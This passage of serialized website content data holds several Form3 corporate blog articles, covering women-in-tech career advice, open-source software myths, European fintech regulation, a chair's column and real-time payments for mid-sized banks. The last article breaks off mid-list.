really enjoy writing the weekly Golang quiz on this account every Monday and organizing working together with our engineers to share tech tips on this account every week",[18914],{"start":10399,"end":2971,"type":489,"data":18915},{"link_type":491,"url":18916,"target":493},"https:\u002F\u002Ftwitter.com\u002FForm3Tech",{"type":1151,"text":18918,"spans":18919,"direction":445},"Working together with Marketing and Talent departments to get ready for events we are sponsoring, as well as identifying events which are a good fit for us to sponsor and making those suggestions to the heads of departments",[],"rich_text$05b63705-2730-4ac2-982b-2a5114c56f51",{"variation":437,"version":438,"items":18922,"primary":18923,"id":18941,"slice_type":468,"slice_label":5},[],{"body":18924},[18925,18928,18935,18938],{"type":988,"text":18926,"spans":18927,"direction":445},"Career advice for Women in Tech",[],{"type":25,"text":18929,"spans":18930,"direction":445},"My first bit of advice for women in tech is to prioritise building a network, just as much as building up your technical skills. It is so important to have good mentors and be part of a supportive community. There are lots of great meetups organized by Women who Code where you can meet like-minded individuals.",[18931],{"start":10672,"end":18932,"type":489,"data":18933},267,{"link_type":491,"url":18934,"target":493},"https:\u002F\u002Fwww.womenwhocode.com\u002F",{"type":25,"text":18936,"spans":18937,"direction":445},"Secondly, it's easy to overestimate what others know, while underestimating what you know. Don't be afraid to apply to roles and go for opportunities, where you don't have all the experience or skills beforehand. You can learn and conquer obstacles as they appear, so don't talk yourself out of a great opportunity by not even applying to it.",[],{"type":25,"text":18939,"spans":18940,"direction":445},"Lastly, it's normal to have hard days and feel tired, but be sure not to let them turn into burn out. Share your difficulties and concerns with your manager. A good organisation should support your growth in a sustainable way, making sure that you put your mental health and family first.",[],"rich_text$3abad176-3e4a-43f5-86b5-43e5d402eb9a",{"variation":437,"version":438,"items":18943,"primary":18944,"id":18962,"slice_type":468,"slice_label":5},[],{"body":18945},[18946,18949,18952],{"type":988,"text":18947,"spans":18948,"direction":445},"Parting words",[],{"type":25,"text":18950,"spans":18951,"direction":445},"Thank you for reading my article! I hope my journey and advice have inspired you and empowered you. ",[],{"type":25,"text":18953,"spans":18954,"direction":445},"Don't be afraid to experiment with your career and really find out what you enjoy doing. I'll keep you updated on all my talks and experiences in DevRel on our engineering Twitter account, @Form3Tech. Reach out to me on directly on Twitter, @classic_addetz, if there is anything tech or career related that I could help you with. My DMs are open. ",[18955,18957],{"start":10863,"end":12823,"type":489,"data":18956},{"link_type":491,"url":18916,"target":493},{"start":18958,"end":18959,"type":489,"data":18960},241,256,{"link_type":491,"url":18961,"target":493},"https:\u002F\u002Ftwitter.com\u002Fclassic_addetz","rich_text$0fc26a53-3b91-412c-87fa-9c6a506d8c2a",{"variation":437,"version":438,"items":18964,"primary":18965,"id":18972,"slice_type":583,"slice_label":5},[],{"quote":18966,"attribution_name":18970,"attribution_role":18971},[18967],{"type":25,"text":18968,"spans":18969},"Happy International Women's Day!",[],"Adelina Simion","Technology Evangelist","pull_quote$f6efeb2b-c8eb-4e13-8056-6e1f8e384bd7",{"id":18974,"uid":18975,"type":3743,"data":18976},"alz0CxEAAC0AUWTl","debunking-the-myths-of-open-source-software",{"title":18977,"excerpt":18978,"card_image":18979,"published_date":18984,"reading_time":1130,"tag":3751,"dek":18985,"featured_image":18986,"about_form3":18987,"client_about_heading":5,"client_about_body":18988,"author_name":5,"author_title":5,"author_photo":18989,"author_bio":18990,"author_linkedin":18991,"slices":18992,"meta_title":18977,"meta_description":18985},"Debunking the myths of open-source software","In this article Daniel Birchwood, Customer Delivery Manager at Form3 debunks some common misconceptions about open-source software and provides our views on best practice.",{"dimensions":18980,"alt":18977,"copyright":5,"url":18981,"id":18982,"edit":18983},{"width":412,"height":412},"\u002F_prismic-media\u002Faf19c2a413fa60cb-WO9fcG5m0jgEIx0R_debunking-the-myths-of-open-sou.png","WO9fcG5m0jgEIx0R",{"x":398,"y":398,"zoom":399,"background":400},"2022-06-27","Customers sometimes ask us at Form3 about open-source software; what are the benefits, what are the risks and their mitigations, and how to get the most out of it?",{},[],[],{},[],{"link_type":434},[18993,19008,19106,19132],{"variation":437,"version":438,"items":18994,"primary":18995,"id":19007,"slice_type":468,"slice_label":5},[],{"body":18996},[18997,19004],{"type":25,"text":18998,"spans":18999},"For the uninitiated, open-source software is software with source code that anyone can inspect, modify and enhance. To appreciate ethos behind it, check out my favourite bread-based analogy [1], which seems appropriate given the baking habits introduced to many households in recent years, at least here in the UK! ",[19000],{"start":19001,"end":10863,"type":489,"data":19002},170,{"link_type":491,"url":19003,"target":493},"https:\u002F\u002Fopensource.com\u002Flife\u002F12\u002F6\u002Fopen-source-like-sharing-recipe",{"type":25,"text":19005,"spans":19006},"In this article, we will debunk some common misconceptions about open-source software and provide our views on best practice.  ",[],"rich_text$9fb9155b-35a2-4378-bf25-1783eed6a416",{"variation":437,"version":438,"items":19009,"primary":19010,"id":19105,"slice_type":468,"slice_label":5},[],{"body":19011},[19012,19015,19019,19022,19025,19029,19032,19035,19039,19042,19045,19048,19051,19054,19058,19061,19064,19067,19071,19074,19077,19080,19083,19086,19089,19092,19095,19099,19102],{"type":988,"text":19013,"spans":19014,"direction":445},"Debunking the myths",[],{"type":25,"text":19016,"spans":19017,"direction":445},"Myth #1: open-source software (OSS) is only developed by students as a hobby ",[19018],{"start":398,"end":854,"type":593},{"type":25,"text":19020,"spans":19021,"direction":445},"Reality: some of the biggest open-source contributors are large software companies such as Google, Microsoft and IBM. Many skilled and experienced professionals contribute to open-source projects, not only for professional advancement but for intrinsic intellectual motivations. ",[],{"type":25,"text":19023,"spans":19024,"direction":445},"Investment in open-source projects has risen considerably in the last 2 decades; one study identified in 2004 only 9 firms producing OSS raising venture funding, this had risen to 110 firms by 2015. [2]   ",[],{"type":25,"text":19026,"spans":19027,"direction":445},"Myth #2: OSS is not widely used ",[19028],{"start":398,"end":690,"type":593},{"type":25,"text":19030,"spans":19031,"direction":445},"Reality: Use of open-source software is widespread, with many components that are often ‘unseen’ or hiding in plain sight. For example, Chromium is used in 64.5% of web browsers 3. Linux is another well-known example.  ",[],{"type":25,"text":19033,"spans":19034,"direction":445},"Open-source software supports a wide range of use-cases, from server software, development tools, web browsers, scripting languages, workflow, desktop \u002F devices and many more.  ",[],{"type":25,"text":19036,"spans":19037,"direction":445},"Myth #3: OSS is inferior to closed source or proprietary software ",[19038],{"start":398,"end":9237,"type":593},{"type":25,"text":19040,"spans":19041,"direction":445},"Reality: Open-source software is acknowledged as a strong mechanism to achieve many corporate goals: ",[],{"type":1151,"text":19043,"spans":19044,"direction":445},"Its modularity reduces time to market. ",[],{"type":1151,"text":19046,"spans":19047,"direction":445},"It allows easy adaptation to meet the application needs. ",[],{"type":1151,"text":19049,"spans":19050,"direction":445},"It can be supported indefinitely without lock-in to vendors.  ",[],{"type":1151,"text":19052,"spans":19053,"direction":445},"Its wider availability allows more consensus on what is best. ",[],{"type":25,"text":19055,"spans":19056,"direction":445},"Myth #4: OSS it is less secure  ",[19057],{"start":398,"end":690,"type":593},{"type":25,"text":19059,"spans":19060,"direction":445},"Reality: The availability of source code makes identification of security risks easier and more transparent.  ",[],{"type":25,"text":19062,"spans":19063,"direction":445},"Specialisation in software has the ability to improve quality; engineers are focused on smaller problems for a larger audience. This is particularly true in cryptography where \"don't roll your own crypto\" is a key principle. ",[],{"type":25,"text":19065,"spans":19066,"direction":445},"The ability to report and fix bugs enables everyone to share in the benefits of the wider availability. ",[],{"type":25,"text":19068,"spans":19069,"direction":445},"Myth #5: the risks are greater ",[19070],{"start":398,"end":3041,"type":593},{"type":25,"text":19072,"spans":19073,"direction":445},"Reality: A degree of risk is unavoidable whether you are using closed or open-source software. There are sensible steps you can take to avoid a couple of common pitfalls: ",[],{"type":25,"text":19075,"spans":19076,"direction":445},"1.    Avoid thinly maintained or out of date software: ",[],{"type":1151,"text":19078,"spans":19079,"direction":445},"Use robust criteria for evaluating software – supported, mature industry standard solutions, that are regularly patched, and actively maintained by the community ",[],{"type":1151,"text":19081,"spans":19082,"direction":445},"Actively engage the OSS community - conferences, seminars and forums ",[],{"type":1151,"text":19084,"spans":19085,"direction":445},"Maintain your own repository of OSS your organisation uses, and review this regularly",[],{"type":25,"text":19087,"spans":19088,"direction":445},"  2.    Ensure a robust supply chain for access to open-source software: ",[],{"type":1151,"text":19090,"spans":19091,"direction":445},"Always verify digital certificates and check downloads against the published hash ",[],{"type":1151,"text":19093,"spans":19094,"direction":445},"Employ a regime of scanning for vulnerabilities across environments, containers, services and servers.  ",[],{"type":25,"text":19096,"spans":19097,"direction":445},"Myth #6: there is no support available ",[19098],{"start":398,"end":4219,"type":593},{"type":25,"text":19100,"spans":19101,"direction":445},"Reality: commercial support for OSS is widely available through specialist companies. You may also choose to support OSS in-house. Either way, you can augment this by community support, providing an excellent service model.  ",[],{"type":25,"text":19103,"spans":19104,"direction":445},"So, now we’ve dispelled the myths, let’s have a look at some best practice. ",[],"rich_text$6d9ee8d2-70fb-4d3a-bd01-c132b9895d68",{"variation":437,"version":438,"items":19107,"primary":19108,"id":19131,"slice_type":468,"slice_label":5},[],{"body":19109},[19110,19113,19116,19119,19122,19125,19128],{"type":988,"text":19111,"spans":19112,"direction":445},"How should we set ourselves up for using OSS?",[],{"type":25,"text":19114,"spans":19115,"direction":445},"There are some best practices that any organisation should adopt when using open-source software: ",[],{"type":1151,"text":19117,"spans":19118,"direction":445},"Check licence agreements; some have restrictions on what you can do with it (e.g. non-commercial) but many don’t. On the flip side, hybrid open-source models exist, where code is open source and come with an enterprise licence; ",[],{"type":1151,"text":19120,"spans":19121,"direction":445},"Test security patches before implementing them, especially on production systems. Ensure urgent threats being exploited in the wild are patched in a timely manner, based on risk; ",[],{"type":1151,"text":19123,"spans":19124,"direction":445},"Get timely security and vulnerability information from specialist interest groups; ",[],{"type":1151,"text":19126,"spans":19127,"direction":445},"Maintain a repository of open-source components; ",[],{"type":1151,"text":19129,"spans":19130,"direction":445},"Where using an OSS component is no longer beneficial, take steps to stop it’s use and re-assess. ",[],"rich_text$ae3b18f9-6c43-45d1-bc0d-6d57e8147e6b",{"variation":437,"version":438,"items":19133,"primary":19134,"id":19154,"slice_type":468,"slice_label":5},[],{"body":19135},[19136,19138,19141,19144],{"type":988,"text":4445,"spans":19137,"direction":445},[],{"type":25,"text":19139,"spans":19140,"direction":445},"As I hope we’ve explained, open-source software is mainstream, robust and can help achieve corporate goals.  ",[],{"type":25,"text":19142,"spans":19143,"direction":445},"In many cases, OSS relies on a community of users who continually help improve the quality and advance the code, giving engineers ‘skin in the game’ rather than being passive users.  ",[],{"type":25,"text":19145,"spans":19146,"direction":445},"This sense of community is an essential ingredient. Just listen to episodes of the Form3 .tech podcast focussing on Hashicorp and Cilium that bring this to life. For long term sustainability, companies like Form3 collaborate to ensure open-source software continues to improve, for the benefit of all. ",[19147,19151],{"start":19148,"end":10343,"type":489,"data":19149},116,{"link_type":491,"url":19150,"target":493},"https:\u002F\u002Ftech-by-form3.simplecast.com\u002Fepisodes\u002Fep-15-tech-hashiconf-vault-and-terraform",{"start":10956,"end":3295,"type":489,"data":19152},{"link_type":491,"url":19153,"target":493},"https:\u002F\u002Ftech-by-form3.simplecast.com\u002Fepisodes\u002Fep-16-tech-supercharge-your-kubernetes-clusters-with-cilium","rich_text$a788e3c5-682f-4859-84b1-dc76c52abb57",{"id":19156,"uid":19157,"type":3743,"data":19158},"alzz9REAACcAUWSy","fintech-regulation-in-europe-challenges-and-new-roles",{"title":19159,"excerpt":19160,"card_image":19161,"published_date":19166,"reading_time":2375,"tag":3751,"dek":5,"featured_image":19167,"about_form3":19168,"client_about_heading":5,"client_about_body":19169,"author_name":5,"author_title":5,"author_photo":19170,"author_bio":19171,"author_linkedin":19172,"slices":19173,"meta_title":19301,"meta_description":19302},"Fintech regulation in Europe: How the lines are blurring between the payments players in Europe.","Fintech regulation in Europe shows no signs of slowing. So what are the main challenges and frameworks fintechs should be aware of to ensure their future success.",{"dimensions":19162,"alt":19159,"copyright":5,"url":19163,"id":19164,"edit":19165},{"width":412,"height":412},"\u002F_prismic-media\u002F7fa6d26aa53b64a9-UOvUFHIWb4cyA3xX_fintech-regulation-in-europe-ch.png","UOvUFHIWb4cyA3xX",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-02",{},[],[],{},[],{"link_type":434},[19174,19185,19219,19227,19250,19258,19286],{"variation":437,"version":438,"items":19175,"primary":19176,"id":19184,"slice_type":468,"slice_label":5},[],{"body":19177},[19178],{"type":25,"text":19179,"spans":19180},"Fintechs continue to challenge and influence the European financial landscape but how is the consistent regulatory change affecting the future of Fintechs in Europe? With the dust never seeming to settle in terms of regulatory frameworks not only is it hard to keep up with but it can end up costing a lot in the process. Is this resulting in customer relationships coming second to the continued task of keeping up with regulation? ",[19181],{"start":2868,"end":855,"type":489,"data":19182},{"link_type":491,"url":19183,"target":493},"https:\u002F\u002Fwww.ey.com\u002Fen_uk\u002Fbanking-capital-markets\u002Fhow-fintech-is-fueling-an-ecosystem-future-in-europe","rich_text$d278ffa9-46f8-4aad-b5f9-24789dd0f605",{"variation":437,"version":438,"items":19186,"primary":19187,"id":19218,"slice_type":468,"slice_label":5},[],{"body":19188},[19189,19192,19195,19203,19211],{"type":988,"text":19190,"spans":19191,"direction":445},"Regulation of digital payments – How banks and fintechs differ",[],{"type":25,"text":19193,"spans":19194,"direction":445},"Where payments are concerned it is vital to understand that banks and fintechs are different in terms of regulation. ",[],{"type":25,"text":19196,"spans":19197,"direction":445},"Fintechs are not allowed to hold a settlement account with TARGET2 or with TIPS for the purposes of instant payments and so are unable to participate in the payment space on an equal footing to banks. According to recent regulatory reports, there are demands for fintechs to be regulated more like banks providing a more level playing field in the payments ecosystem. ",[19198],{"start":19199,"end":19200,"type":489,"data":19201},263,303,{"link_type":491,"url":19202,"target":493},"https:\u002F\u002Fwww.wsj.com\u002Farticles\u002Ffintechs-need-to-be-regulated-more-like-banks-says-report-from-global-regulator-group-11627898634",{"type":25,"text":19204,"spans":19205,"direction":445},"Within the European Commission’s Settlement Finality Directive (SFD) explicity talks about credit institutions but the wording of PSD2 refers to financial institutions. Such discrepancies need to be reworded but there is currently no timeline in place to do so. Regulators need to understand the need to address such issues to benefit both the industry and the consumer. ",[19206],{"start":19207,"end":19208,"type":489,"data":19209},327,369,{"link_type":491,"url":19210,"target":493},"https:\u002F\u002Fthefintechtimes.com\u002Fhow-have-open-banking-regulation-changes-impacted-incumbents-and-fintechs-in-the-last-5-years\u002F",{"type":25,"text":19212,"spans":19213,"direction":445},"To overcome this barrier, fintechs must either get a banking license or work with a third party. The challenge with the latter approach is that where instant payments are concerned, fintechs risk losing out on the speed benefits of instant payments, as well as having less control over their liquidity. One solution is the access model provided by Form3 and our banking partner. Using this model, fintechs are able to access connectivity for SEPA Instant and SCT transactions, with the bank – as a dedicated liquidity service provider – enabling settlement and the flow of messages and information as if they were a direct participant.",[19214],{"start":19215,"end":19216,"type":489,"data":19217},379,395,{"link_type":491,"url":7331,"target":493},"rich_text$bab165bb-373f-40d9-9fc4-bbeabf551ae9",{"variation":437,"version":438,"items":19220,"primary":19221,"id":19226,"slice_type":583,"slice_label":5},[],{"quote":19222,"attribution_name":5,"attribution_role":5},[19223],{"type":25,"text":19224,"spans":19225,"direction":445},"“The payments landscape is undergoing so much change right now, especially in Europe. Alongside changes in market practices, relentless regulatory developments eat up a great deal of the budgets of new and existing players as they impact their payments processes.”",[],"pull_quote$1f452687-c7b7-4c39-b929-62d15aaeba41",{"variation":437,"version":438,"items":19228,"primary":19229,"id":19249,"slice_type":468,"slice_label":5},[],{"body":19230},[19231,19234,19240,19243],{"type":988,"text":19232,"spans":19233,"direction":445},"Changing image of Fintechs",[],{"type":25,"text":19235,"spans":19236,"direction":445},"Fintechs have made it clear that they are ‘not financial institutions’ priding themselves on customer connections and creating disruption. However, recent regulatory and industry developments have suggested that the lines between fintechs and banks may become blurred. ",[19237],{"start":9294,"end":18932,"type":489,"data":19238},{"link_type":491,"url":19239,"target":493},"https:\u002F\u002Fwww2.deloitte.com\u002Fus\u002Fen\u002Fpages\u002Fregulatory\u002Farticles\u002Ffuture-of-fintechs-risk-and-regulatory-compliance.html",{"type":25,"text":19241,"spans":19242,"direction":445},"Banks originally treated fintechs like any other corporate customer but this does not consider the differences in what fintechs and corporations require from banks. ",[],{"type":25,"text":19244,"spans":19245,"direction":445},"Instant payments are on the rise with the market predicted to continue to expand at a CAGR of 29.3% from 2019 to 2015. With such an increase fintechs have become aware that in many circumstances they need the same level of control as banks when it comes to the transaction they do on behalf of customers. ",[19246],{"start":5397,"end":8997,"type":489,"data":19247},{"link_type":491,"url":19248,"target":493},"https:\u002F\u002Fwww.penser.co.uk\u002Farticle\u002Fmoving-money-around-the-rise-of-real-time-payments\u002F","rich_text$e190732b-97f9-4f19-bb8b-d44e2e5c4ae6",{"variation":437,"version":438,"items":19251,"primary":19252,"id":19257,"slice_type":583,"slice_label":5},[],{"quote":19253,"attribution_name":5,"attribution_role":5},[19254],{"type":25,"text":19255,"spans":19256,"direction":445},"“The original perception of fintechs as another type of corporate customer no longer fits, as banks now realise what fintechs truly need from their banks.”",[],"pull_quote$3e280ad9-b5ed-466b-9d2e-44cd135043cf",{"variation":437,"version":438,"items":19259,"primary":19260,"id":19285,"slice_type":468,"slice_label":5},[],{"body":19261},[19262,19265,19271,19279,19282],{"type":988,"text":19263,"spans":19264,"direction":445},"Regulatory challenges for fintechs",[],{"type":25,"text":19266,"spans":19267,"direction":445},"So, which regulatory changes do banks need to be aware of and are they prepared for the demand of the fintech revolution? ",[19268],{"start":1029,"end":6779,"type":489,"data":19269},{"link_type":491,"url":19270,"target":493},"https:\u002F\u002Flegal.thomsonreuters.com\u002Fen\u002Finsights\u002Farticles\u002Fare-banks-prepared-for-the-demand-of-fintech-regulation",{"type":25,"text":19272,"spans":19273,"direction":445},"One notable question is whether the use of instant payments going to become mandatory in Europe? This would have a significant impact on the industry as instant payments could no longer be treated as a premium service. Currently the European Commission is set to introduce legislation covering a digital euro and full EU-wide coverage of instant payments through Sepa Instant early next year. ",[19274],{"start":19275,"end":19276,"type":489,"data":19277},233,284,{"link_type":491,"url":19278,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fnewsarticle\u002F39668\u002Feu-commission-to-legislate-for-full-eu-wide-coverage-of-instant-payments",{"type":25,"text":19280,"spans":19281,"direction":445},"Another significant change is the consolidation of TARGET2 and TIPS onto a single platform. This is a positive change as it means the consolidation of three systems so participants would have a single entry point for all three systems, however, users will have the added complication of having to work with different user interfaces (UIs) for each system. ",[],{"type":25,"text":19283,"spans":19284,"direction":445},"A further point of interest is the significance of PSD2 and Open Banking. While Open Banking is an official term in the UK, it’s also used to describe developments that are happening elsewhere as a result of PSD2. This area continues to develop: while collaboration between banks and fintechs has improved in recent years, banks are also increasingly waking up to the opportunities the regulation brings for them.",[],"rich_text$d1a81df4-5829-4be2-815a-6f58371d0004",{"variation":437,"version":438,"items":19287,"primary":19288,"id":19300,"slice_type":468,"slice_label":5},[],{"body":19289},[19290,19293,19296],{"type":988,"text":19291,"spans":19292,"direction":445},"What does the future hold",[],{"type":25,"text":19294,"spans":19295,"direction":445},"Banks are becoming more aware of the opportunities that fintechs bring them for improving the collaboration between banks and fintechs. It is important that firms consider the changing financial landscape including regulation to maximise the potential fintech has to revolutionise the way financial services operate. ",[],{"type":25,"text":15720,"spans":19297,"direction":445},[19298],{"start":2707,"end":1250,"type":489,"data":19299},{"link_type":491,"url":15724,"target":493},"rich_text$5c38af0a-d94a-4a96-9616-3332c380a792","Fintech regulation in Europe: challenges and new roles","Fintech regulation in Europe shows no signs of slowing. So what are the main challenges and frameworks fintechs should be aware of to ensure their future success..",{"id":19304,"uid":19305,"type":3743,"data":19306},"alz0HhEAAC4AUWUT","whats-top-of-mind-penny-hughes-column",{"title":15731,"excerpt":19307,"card_image":19308,"published_date":12152,"reading_time":2375,"tag":3751,"dek":19312,"featured_image":19313,"about_form3":19314,"client_about_heading":5,"client_about_body":19315,"author_name":15742,"author_title":19316,"author_photo":19317,"author_bio":19320,"author_linkedin":19325,"slices":19327,"meta_title":15731,"meta_description":19307},"Penny Hughes discusses payments in uncertain times, \"As I write this column, one thing is very clear: we live in the most uncertain of times, yet payments remain an essential part of our lives\".",{"dimensions":19309,"alt":15731,"copyright":5,"url":19310,"id":7977,"edit":19311},{"width":412,"height":412},"\u002F_prismic-media\u002Fa3a5e0bcf468f3d7-6-jubm0VkBIuvNc2_whats-top-of-mind-penny-hughes-.jpg",{"x":398,"y":398,"zoom":399,"background":650},"Penny Hughes CBE",{},[],[],"Chair Form3 Strategic Advisory Board",{"dimensions":19318,"alt":7975,"copyright":5,"url":15746,"id":15747,"edit":19319},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[19321,19323],{"type":25,"text":15751,"spans":19322,"direction":445},[],{"type":25,"text":15754,"spans":19324,"direction":445},[],{"link_type":491,"key":19326,"url":15758,"target":493},"48acc9c7-0f03-4022-bd17-632e330ccbf5",[19328],{"variation":437,"version":438,"items":19329,"primary":19330,"id":19368,"slice_type":468,"slice_label":5},[],{"body":19331},[19332,19335,19338,19341,19344,19347,19350,19353,19356,19359,19362,19365],{"type":988,"text":19333,"spans":19334,"direction":445},"Payments Remain The Constant Activity In Our Changing Times",[],{"type":25,"text":19336,"spans":19337,"direction":445},"As I write this column, one thing is very clear: we live in the most uncertain of times, yet payments remain an essential part of our lives. ",[],{"type":25,"text":19339,"spans":19340,"direction":445},"The recent Russian invasion of Ukraine has brought about much reflection in geopolitics. For those in financial services, there is a heightened duty of care to carefully manage financial transactions through these troubled times. ",[],{"type":25,"text":19342,"spans":19343,"direction":445},"This only increases the focus that Tier 1 banks and other global financial services players are putting on their technology stack to efficiently, safely and with precision, manage the cash flowing through payments. ",[],{"type":25,"text":19345,"spans":19346,"direction":445},"Looking closer to home, Form3 has gone from start-up to scale-up in just over five years. It is now achieving scale operations with leading UK banks as strategic investors to the company. ",[],{"type":25,"text":19348,"spans":19349,"direction":445},"This increased scale brings significant responsibility. It also reflects the increased maturity that our business model demonstrates, with a focus on managing risk, operating securely and increasingly providing the failover resilience of multi-cloud operations. ",[],{"type":25,"text":19351,"spans":19352,"direction":445},"With successful core operations in the UK, expansion across Europeans into US are natural next steps. ",[],{"type":25,"text":19354,"spans":19355,"direction":445},"This is a seismic shift in payments technology, developed and delivered by a virtual network of some of the world’s most accomplished IT engineers. It’s exciting to see such significant steps being taken to contribute to the safety of global payments. ",[],{"type":25,"text":19357,"spans":19358,"direction":445},"Stay safe until the next newsletter. ",[],{"type":25,"text":19360,"spans":19361,"direction":445},"Penny Hughes CBE ",[],{"type":25,"text":19363,"spans":19364,"direction":445},"Chair ",[],{"type":25,"text":19366,"spans":19367,"direction":445},"Form3 Strategic Advisory Board",[],"rich_text$48afb04c-bb7f-450f-80ca-cde7eb427e60",{"id":19370,"uid":19371,"type":3743,"data":19372},"alzyaREAACsAUWEG","real-time-payments-a-revenue-opportunity-for-mid-sized-banks",{"title":19373,"excerpt":19374,"card_image":19375,"published_date":19380,"reading_time":418,"tag":5813,"dek":19381,"featured_image":19382,"about_form3":19387,"client_about_heading":5,"client_about_body":19388,"author_name":5,"author_title":5,"author_photo":19389,"author_bio":19390,"author_linkedin":19391,"slices":19392,"meta_title":19373,"meta_description":19374},"Real-time payments: A revenue opportunity for mid-sized banks","For many mid-sized banks, real-time payments (RTP) still feel like a technological challenge rather than a business opportunity. The perception that RTP is complex, expensive, or primarily suited for large institutions has kept many banks from fully exploring its benefits. However, in reality, RTP is not just an operational upgrade—it is a revenue-generating tool that can help banks retain customers, attract new business, and improve efficiency.",{"dimensions":19376,"alt":19373,"copyright":5,"url":19377,"id":19378,"edit":19379},{"width":412,"height":412},"\u002F_prismic-media\u002F76319b20937aa66a-ekiz3SrkYCeV26eI_real-time-payments-a-revenue-op.png","ekiz3SrkYCeV26eI",{"x":398,"y":398,"zoom":399,"background":400},"2025-03-13","For many mid-sized banks, real-time payments (RTP) still feel like a technological challenge rather than a business opportunity. The perception that RTP is complex, expensive, or primarily suited for large institutions has kept many banks from fully exploring its benefits. However, in reality, RTP is not just an operational upgrade—it is a revenue-generating tool that can help banks retain customers, attract new business, and improve efficiency. As financial institutions look to remain competitive in an evolving payments landscape, RTP presents an opportunity to differentiate their offerings, serve high-value customers more effectively, and drive new streams of non-interest income. Banks that embrace RTP now will be well-positioned to meet growing demand, strengthen their market position, and unlock cost savings that directly impact the bottom line.",{"dimensions":19383,"alt":5,"copyright":5,"url":19384,"id":19385,"edit":19386},{"width":423,"height":424},"\u002F_prismic-media\u002Faa823eee515f6034-P5hyuMt4BS5ZYG0c_Z635s5bqstJ9-k4j.png","P5hyuMt4BS5ZYG0c",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[19393,19427,19438,19473,19484,19512,19523,19561,19571,19595,19607],{"variation":437,"version":438,"items":19394,"primary":19395,"id":19426,"slice_type":468,"slice_label":5},[],{"body":19396},[19397,19400,19403,19407,19410,19414,19418,19422],{"type":988,"text":19398,"spans":19399,"direction":445},"How RTP Creates New Revenue Opportunities for Mid-Sized Banks",[],{"type":25,"text":19401,"spans":19402,"direction":445},"Real-time payments are not just about speed—they open the door to new banking products and services that enhance customer value and generate fresh revenue streams. Many of the most innovative use cases for RTP are already transforming the way businesses and individuals handle money, and mid-sized banks have a prime opportunity to capitalize on these trends. ",[],{"type":474,"text":19404,"spans":19405,"direction":445},"Earned Wage Access (EWA): Meeting the Demand for On-Demand Pay ",[19406],{"start":398,"end":1029,"type":593},{"type":25,"text":19408,"spans":19409,"direction":445},"One of the most compelling use cases for RTP is earned wage access (EWA)—a service that allows employees to access a portion of their earned wages before payday. Traditionally, employees must wait for scheduled payroll cycles, but with RTP, they can receive their wages instantly at the end of a shift. ",[],{"type":25,"text":19411,"spans":19412,"direction":445},"For banks, this presents a significant opportunity to partner with employers and payroll providers to offer on-demand wage disbursements. By enabling RTP-powered payroll solutions, banks can: ",[19413],{"start":3963,"end":3295,"type":593},{"type":3373,"text":19415,"spans":19416,"direction":445},"Attract and retain corporate clients looking to offer flexible compensation models. ",[19417],{"start":398,"end":3852,"type":593},{"type":3373,"text":19419,"spans":19420,"direction":445},"Generate revenue through per-transaction fees for instant payroll payouts. ",[19421],{"start":398,"end":9211,"type":593},{"type":3373,"text":19423,"spans":19424,"direction":445},"Strengthen deposit relationships by keeping wage disbursements within their ecosystem. ",[19425],{"start":398,"end":5489,"type":593},"rich_text$41956097-1797-4850-ade4-4dc838dd489f",{"variation":437,"version":438,"items":19428,"primary":19429,"id":19437,"slice_type":468,"slice_label":5},[],{"body":19430},[19431],{"type":25,"text":19432,"spans":19433,"direction":445},"With the gig economy and service industries rapidly embracing EWA, banks that offer RTP-powered payroll capabilities can capture this demand and build stronger business banking relationships. ",[19434,19435],{"start":1355,"end":9237,"type":593},{"start":19436,"end":7016,"type":593},121,"rich_text$3411b381-672c-4f63-b8eb-0a393b2d29d6",{"variation":437,"version":438,"items":19439,"primary":19440,"id":19472,"slice_type":468,"slice_label":5},[],{"body":19441},[19442,19445,19456,19460,19464,19468],{"type":988,"text":19443,"spans":19444,"direction":445},"Gig Economy Payouts: Faster Payments for a Changing Workforce",[],{"type":25,"text":19446,"spans":19447,"direction":445},"The gig economy has exploded in recent years, with millions of workers relying on flexible, independent income sources. Platforms like Uber, DoorDash, and Upwork have set new expectations for instant access to earnings, and workers increasingly demand immediate payment options rather than waiting for traditional bank transfers. ",[19448,19449,19451,19454],{"start":1406,"end":3402,"type":593},{"start":19450,"end":9289,"type":593},135,{"start":19452,"end":19453,"type":593},192,218,{"start":19455,"end":15688,"type":593},252,{"type":25,"text":19457,"spans":19458,"direction":445},"For mid-sized banks, this shift presents a strategic opportunity to support gig economy platforms and independent contractors by offering RTP-enabled disbursements. With RTP, banks can: ",[19459],{"start":5136,"end":10343,"type":593},{"type":3373,"text":19461,"spans":19462,"direction":445},"Provide real-time deposits for gig economy workers, ensuring faster access to funds. ",[19463],{"start":398,"end":2971,"type":593},{"type":3373,"text":19465,"spans":19466,"direction":445},"Offer specialized business accounts tailored for gig workers who need frequent, small-dollar payments. ",[19467],{"start":398,"end":628,"type":593},{"type":3373,"text":19469,"spans":19470,"direction":445},"Compete with fintechs like Square and PayPal, which are actively targeting this market. ",[19471],{"start":398,"end":2674,"type":593},"rich_text$b0ea116f-3bb5-4c42-869d-8e8465c91ec2",{"variation":437,"version":438,"items":19474,"primary":19475,"id":19483,"slice_type":468,"slice_label":5},[],{"body":19476},[19477],{"type":25,"text":19478,"spans":19479,"direction":445},"By positioning RTP as a solution for independent workers and small businesses, mid-sized banks can expand their customer base and increase deposit activity.",[19480,19481],{"start":846,"end":855,"type":593},{"start":19482,"end":753,"type":593},99,"rich_text$b07a67cb-3ece-4044-93c1-0d5371bdfcd5",{"variation":437,"version":438,"items":19485,"primary":19486,"id":19511,"slice_type":468,"slice_label":5},[],{"body":19487},[19488,19491,19494,19499,19503,19507],{"type":988,"text":19489,"spans":19490,"direction":445},"B2B Instant Payments: Strengthening Commercial Banking Services",[],{"type":25,"text":19492,"spans":19493,"direction":445},"In addition to payroll and gig economy payouts, RTP is also transforming business-to-business (B2B) payments. Traditionally, businesses rely on ACH transfers, checks, and wire payments, which can take days to process and require extensive back-office reconciliation. ",[],{"type":25,"text":19495,"spans":19496,"direction":445},"With RTP, banks can help businesses improve cash flow, reduce payment delays, and eliminate uncertainty in vendor transactions. This is especially valuable for: ",[19497],{"start":7460,"end":19498,"type":593},126,{"type":3373,"text":19500,"spans":19501,"direction":445},"Small and medium-sized enterprises (SMEs) that need faster payments to manage cash flow. ",[19502],{"start":398,"end":1977,"type":593},{"type":3373,"text":19504,"spans":19505,"direction":445},"Suppliers and vendors that want instant confirmation of funds before releasing goods or services. 